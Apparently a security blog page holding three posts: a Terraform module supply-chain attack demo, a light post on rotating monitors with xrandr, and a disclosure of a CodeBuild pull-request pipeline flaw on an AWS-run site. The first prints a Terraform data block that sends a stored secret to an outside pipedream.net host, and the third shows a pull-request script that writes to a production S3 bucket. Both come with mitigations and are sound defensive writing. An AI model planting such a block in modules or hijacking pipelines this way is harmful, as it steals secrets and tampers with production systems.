xssfox

The other day I was thinking about supply chain attacks and how that applies to infrastructure as code. I decided to build a little proof of concept of a possible attack and I’ll try to run you through it. First lets paint a picture.

Terraform is a tool used by many organisations to deploy out infrastructure. It allows operations engineers to describe infrastructure in a domain specific language. A lot of complex infrastructure is repeatable and often users will break these down into what Terraform calls “modules”. Often these modules are shared online through GitHub repos and the Terraform Registry.

There’s a wide variety of modules available from third parties to help accelerate building of infrastructure. This is all great.

Let’s have a look a module I built. It creates an AWS System Manager parameter and stores a password. This is often used for storing DB passwords and other secrets.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
    }
    http = {}
  }
}

resource "aws_ssm_parameter" "param" {
  name  = var.parameter_name
  type  = "SecureString"
  value = random_password.password.result
}

resource "random_password" "password" {
  length           = 16
  special          = true
  override_special = "_%@"
}

Let’s quickly walk through it for those who haven’t looked at Terraform before. At the top we have some setup to include providers. The main one we care about for this module is AWS as we want to provision some AWS resources. We then have the resource block aws_ssm_parameter that provisions the SSM parameter which references the value from random_password. A user might use a module like this to ensure all their databases use a nice secure password thats stored in SSM.

To use this, a user might browse around the terraform registry looking for a module that does the task they want.

And here’s how the user would install the module in the code.

module "ssm-password" {
  source  = "TheSkorm/ssm-password/aws"
  version = "0.0.1"
  parameter_name = "test2"
}

Running terraform init and terraform apply will create the resources as expected and all is well in the world.

Now lets think about if an attacker gained access to this repo. The attacker could be the original owner, someone who gained access to GitHub usernames / passwords, someone who paid the author to take control or various other methods to gain commit access.

The attacker could add a data block to the module.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
    }
    http = {}
  }
}

resource "aws_ssm_parameter" "param" {
  name  = var.parameter_name
  type  = "SecureString"
  value = random_password.password.result
}

resource "random_password" "password" {
  length           = 16
  special          = true
  override_special = "_%@"
}

## !!! Our evil way to leak data !!!
data "http" "leak" {
    url = "https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}"
}

Data blocks provide a way for Terraform to find values/data to be used in deploying out infrastructure. In this case we have defined a http data type and our URL will be composed of the secret value from the SSM parameter and its name.

Once added it can be commited, and even pushed as the same version number (Terraform uses Git tags to determine versions in the registry). Nothing will happen immediately though. Two things need to happen for the victim to be impacted.

The first is the victim will have to run terraform get -update or terraform init upgrade. These are not uncommon operations as keeping modules up to date is good practice and often required to obtain new features.

% terraform get -update
Downloading TheSkorm/ssm-password/aws 0.0.1 for ssm-password...
- ssm-password in .terraform/modules/ssm-password

The victim does get a chance to notice that something might be up here. But it’s very likely in a complex project this update message will be ignored - or lost in the noise.

The second action the victim needs to perform is a terraform plan or a terraform apply. Both are extremely common tasks. A terraform apply doesn’t actually need to be approved before the damage is done as the data "http" block happens at plan time - there is no approval required for this action.

In my testing the apply and plan didn’t show any changes! Not even the data block being added.

module.ssm-password.random_password.password: Refreshing state... [id=none]
module.ssm-password.aws_ssm_parameter.param: Refreshing state... [id=test3]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and
found no differences, so no changes are needed.

From this point it’s game over. The damage is done and if we check our attacker’s webserver logs we can see the HTTP request with the SSM parameter’s name and value.

Hopefully this demonstrates just one way that supply chain attacks can be possible within infrastructure.

Mitigations

The Terraform registry doesn’t seem to allow specifying a hash in the provider configuration however if you use Git rather than the Terraform registry you can provide a hash in the ref of the git url.

Limit the use of third party modules and if you do use them, use the “Verified” modules. These are the ones that have a little purple badge next to their module name.

If you do want to use a third party module that isn’t verified consider forking their repo into your own organisation git and using that copy directly. Be careful with this approach as modules sometimes include other modules.

It all started with this toot from Aurynn.

do I just need to put one screen in portrait mode?

In the past I had experimented with using portrait displays for reading and programming. The ability to display large amount of text is certainly appealing.

Boring

But is this the most optimal display for software development? Lets evaluate

Here you might think we might done. But there are soooooo many more angles we can try. This is a little tricky on macOS and Windows but on Linux we have all the freedom we need.

Odd but ok.

We have a little tool called xrandr (x resize and rotate). We can use it to rotate the screen around to any angle we want. In practice I couldn’t get this to work on my MacBook. My desktop on the otherhand it had no problems. So lets try a few out.

1° - notice the menu bar disappearing to the right

45° - I run out of space

One neat thing about 45° is that it gives us pretty close to the diagonal. But not on my ultra wide. Due to maths, the amount we’d need to rotate is based on the angle of a triangle which match the aspect ration of the screen we are using. This ends up being about 22° for a 21:9 ratio.

The perfect rotation

22° - Perfect

So this here I think is the best monitor orientation for software development. It provides the longest line lengths and no longer need to worry about that pesky 80 column limit.

How do I do this?

First off, I could only get this to work in xorg - no wayland support yet. xrandr --output HDMI-3 --transform lots of numbers here takes a transformation matrix thats used to position the screen. We can use that to rotate the display.

The basic syntax that we need for rotating and shifting is this

cos(x),-sin(x),shift_left,sin(x),cos(x),shift_up,0,0,1

Some examples

# these won't shift / center the display as I don't know the resolution

#-0.1
xrandr --output HDMI-3 --transform 0.999998476913288,0.00174532836589831,0,-0.00174532836589831,0.999998476913288,0,0,0,1
#1
xrandr --output HDMI-3 --transform 0.999847695156391,-0.0174524064372835,0,0.0174524064372835,0.999847695156391,0,0,0,1
#45
xrandr --output HDMI-3 --transform 0.707106781186548,-0.707106781186548,0,0.707106781186548,0.707106781186548,0,0,0,1
#22
xrandr --output HDMI-3 --transform 0.927183854566787,-0.374606593415912,0,0.374606593415912,0.927183854566787,0,0,0,1

Calculator

This little javascript calculator should generate the xrandr command for given inputs

Enjoy.

This occurred on an AWS website (not a site hosted on AWS, but a site run by AWS). It shows that security is hard, even for a $51 billion business. This issue can occur not just on websites but even SDKs and libraries

📸 Erik Mclean via unsplash

While developers have a keen nose for code smells us operations types have a keen nose for infrastructure smells. When I opened this git repository for first time it hit me. A buildspec.yml file.

The humble buildspec.yml

For those unfamiliar, buildspec.yml is used by a service called CodeBuild and basically defines the steps used to build a project, including running shell commands. It’s basically remote code execution as a service.

The presence of this file in a repository isn’t call for alarm, but when it’s in a public repository it certainly raises red flags. The usual concern is someones committed some secret credentials into this file. In this case the file was clean of credentials.

All good right? Not so fast.

📸 Lachlan Gowen via unsplash

notices your deploy.sh

The buildspec.yml referenced a deploy.sh. This is when I verbally said “oh no”. Like before no secrets committed. A good start. deploy.sh contains instructions to deploy out the project - like aws s3 sync and the like, so we can determine that when this gets run it has access to upload to the production site.

📸 Nathan Anderson via unsplash

The issue here is that the buildspec.yml and deploy.sh could be modified by a malicious user.

The pull request

However malicious user doesn’t have access to commit to the repository and an admin isn’t going to merge malicious code, so this is no big deal right? Let’s see what happens when we lodge a pull request.

Upon creation of the pull request GitHub triggers a CodeBuild job. This is a fairly common practice to make sure nothing in the pull request breaks the build. What prevents the pull request build from deploying to production? Lets check deploy.sh

if [[ "$CODEBUILD_WEBHOOK_HEAD_REF" == "refs/heads/main" && ${CODEBUILD_SOURCE_VERSION:0:3} != "pr/" ]]; then

oh no.

So deployment is purely controlled by a script that can be changed in the pull request.

📸 Scott Walsh via unsplash

One last chance

At this stage we’ve got remote code execution into the pipeline. Apart from mining some Bitcoin this is pretty uneventful. What about the S3 sync we mentioned earlier? It’s possible that the role granted for pull requests is the same role used for deploying to production, so lets check it out.

I edited the shell script to have my code right at the start …

echo "testing a security issue" > test.html
aws s3 cp test.html s3://target_bucket/test.html
aws cloudfront create-invalidation --distribution-id $CLOUDFRONT_DIST_ID --paths "/*"
exit 1

target_bucket value was recovered from original deploy.sh

… and lodged a pull request. I checked the website and sure enough my file was there. 😮

📸 Nathan Anderson via unsplash

It doesn’t end there

It’s quite possible that the role used for deployment might have access to lots of interesting things, a private subnet, IAM admin, CloudFormation. I didn’t check further than this and submitted a disclosure reported to the security team immediately.

Prevention

If you still want pull requests to trigger builds on a public repository there a couple of things you can do to limit risk.

Place build scripts in a separate repo. Some build tools let you specify a separate repo to use for the build pipeline. Be careful though as this doesn’t guarantee that the project build can’t execute commands, depending on the programming language and build tools.

For services like CodeBuild you can utilize a separate IAM role for pull requests which is limited to just build requirements. Make sure the build agents for PRs aren’t within a a trusted network.